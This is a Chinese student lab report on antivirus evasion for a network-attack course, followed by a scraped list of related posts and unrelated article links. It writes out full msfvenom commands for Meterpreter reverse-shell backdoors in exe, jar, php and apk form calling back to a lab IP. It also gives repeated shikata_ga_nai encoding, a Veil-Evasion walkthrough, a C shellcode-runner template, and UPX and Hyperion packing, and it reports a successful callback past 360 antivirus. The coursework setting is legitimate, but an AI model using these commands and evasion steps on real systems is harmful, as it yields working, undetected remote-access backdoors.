2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165215
基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测:根据些片面特征去推断,缺乏精确性。如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那我们就把它当成一个恶意软件。
基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE :加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码 :用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
实践内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
正确使用msf编码器
1、使用VirusTotal和Virscan这两个网站对实验二中生成的后门程序20165215_backdoor.exe
进行扫描
- 用VirusTotal扫描后结果如下:
- 用Virscan网站的扫描结果如下:
由此可知后门程序如果不加处理,绝大多数杀软很快就可以识别出来
2、用msf编码器对后门程序进行一次到多次的编码,并进行检测
- 一次编码使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded.exe
,其中-e
为编码,-b
为规避坏字符
- 用VirusTotal扫描后结果如下:
- 多次编码使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded15.exe
,其中-i
为编码次数
- 用VirusTotal扫描后结果如下:
由此可见多次编码对免杀没有太大的效果
msfvenom生成如jar之类的其他文件
1、生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj_java.jar
- 用VirusTotal扫描后结果如下:
2、生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj.php
- 用VirusTotal扫描后结果如下:
3、生成apk后门程序使用命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 R > 5215zjj.apk
- 用VirusTotal扫描后结果如下:
4、其他类型的文件可以参考msfvenom生成各类Payload命令
veil-evasion
- 用
sudo apt-get install veil-evation
命令安装 - 安装成功后,输入
veil
显示如下界面:
- 用
use evasion
命令进入Evil-Evasion
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
- 使用命令
set LHOST 192.168.116.139
设置反弹连接IP,此处的IP是KaliIP - 使用命令
set LPORT 5215
设置端口 - 使用命令
generate
生成文件,接着为生成的playload命名
- 用VirusTotal扫描后结果如下:
用shellcode编程
- 首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.139 LPORT=5215 -f c
生成一段shellcode
- 按如下格式编写
20165215.c
unsigned char buf[] = ……//生成的shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令
i686-w64-mingw32-g++ 20165215.c -o 20165215.exe
编译这个.c文件为可执行文件
- 用VirusTotal扫描后结果如下:
加壳工具
- 使用命令
upx 20165215.exe -o 20165215_uped.exe
为上步生成的可执行文件加压缩壳
- 用VirusTotal扫描后结果如下:
- 将加压缩壳文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v 20265215_uped.exe 20165215_upxed_Hyperion.exe
- 用VirusTotal扫描后结果如下:
任务二:通过组合应用各种技术实现恶意代码免杀
- 原理:使用encode库里的其它编译器生成shellcode,将生成的shellcode在vc下编译,再进行加壳
- 被控主机:win10
- 扫描软件:360安全卫士11.4.0.2001
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 被控主机:win10
- 扫描软件:360安全卫士11.5.0.2001
实验过程中遇到的问题
- 问题:安装veil时出现如下错误:
- 解决方法:使用
sudo apt-get install veil--version --fix-missing
进行修复安装,需要等到一段很长的时间 - 问题:无法ping通别人的主机
- 解决方法:首先是将虚拟机由NAT模式,改为网桥模式。但修改后,kali的eth0不能成功获取正确的ip地址,显示为乱码,后来通过参考博客解决kali桥接模式无法上网解决了该问题
开启杀软能绝对防止电脑中恶意代码吗?
显而易见是不能够,本次实验的整个过程就证明了这个结论
实验总结与体会
本次实验理论上理解免杀的概念、实现方法并不难,但最终要得到免杀的结果确实来之不易。虽说shikata_ga_nai编译器的效果是最好的,但我怀疑近期由于太多的同学都使用了该方法,导致我实践的时候就轻易被识破了,好在我后来找到了其它加密方法。另外,安装veil的过程也是困难重重,除了要有耐心以外,记得先保存快照,以及可以去看看同学们遇见的问题,绕过他们走过的弯路。
2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165215的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- Tips_利用padding实现高度可控的分隔线
一.实现分隔线的方法(未理解:不是说span元素垂直方向设置怕padding不影响吗?) html: <div> 登陆<span></span>注册 </di ...
- IDEA_Springboot启动Tomcat报错_APR
使用idea新建一个Springboot项目 环境:idea+jdk8 启动异常如下: An older version [1.2.14] of the APR based Apache Tomcat ...
- jQuery (01) 浏览器的事件模型
浏览器的事件模型 由网景公司引入的 DOM0 级事件模型 把事件处理程序绑定到 DOM 元素的属性上: ele.onclick(); ele.onDOMContentLoad(); ele.onloa ...
- Node.js_文件系统 FS
文件系统 FS——File System 所谓的文件系统,就是对计算机中的文件进行增.删.查.改等操作 是一个服务器的基础 node 通过核心 FS 模块来操作文件系统 简单写 // 1. 导入 fs ...
- js中函数创建的三种方式
1.函数声明 function sum1(n1,n2){ return n1+n2; }; 2.函数表达式,又叫函数字面量 var sum2=function(n1,n2){ re ...
- linux --- Ansible篇
ansible背景 1.什么是ansible? ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet.cfengine.chef.func.fabric)的优 ...
- vue学习目录 vue初识 this指向问题 vue组件传值 过滤器 钩子函数 路由 全家桶 脚手架 vuecli element-ui axios bus
vue学习目录 vue学习目录 Vue学习一之vue初识 Vue学习二之vue结合项目简单使用.this指向问题 Vue学习三之vue组件 Vue学习四之过滤器.钩子函数.路由.全家桶等 Vue学习之 ...
- vmware您无权输入许可证密钥,请请使用系统管理员账户重试
vmware15,输入许可证时报“您无权输入许可证密钥,请请使用系统管理员账户重试”,切换到Administrator以后,并没有什么作用. 网上的各种进入cmd的方法也无效. 后来发现,只要是已经存 ...
- 数位DP HDU - 2089 不要62
不要62 Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submis ...
- 使用npm 下载 cnpm
在vue终端使用npm 1. 下载安装node.js 在node.js中有集成npm 2. 可以在终端中使用 node -v / npm -v 来查看安装的node/npm 的版本号 使用npm 安装 ...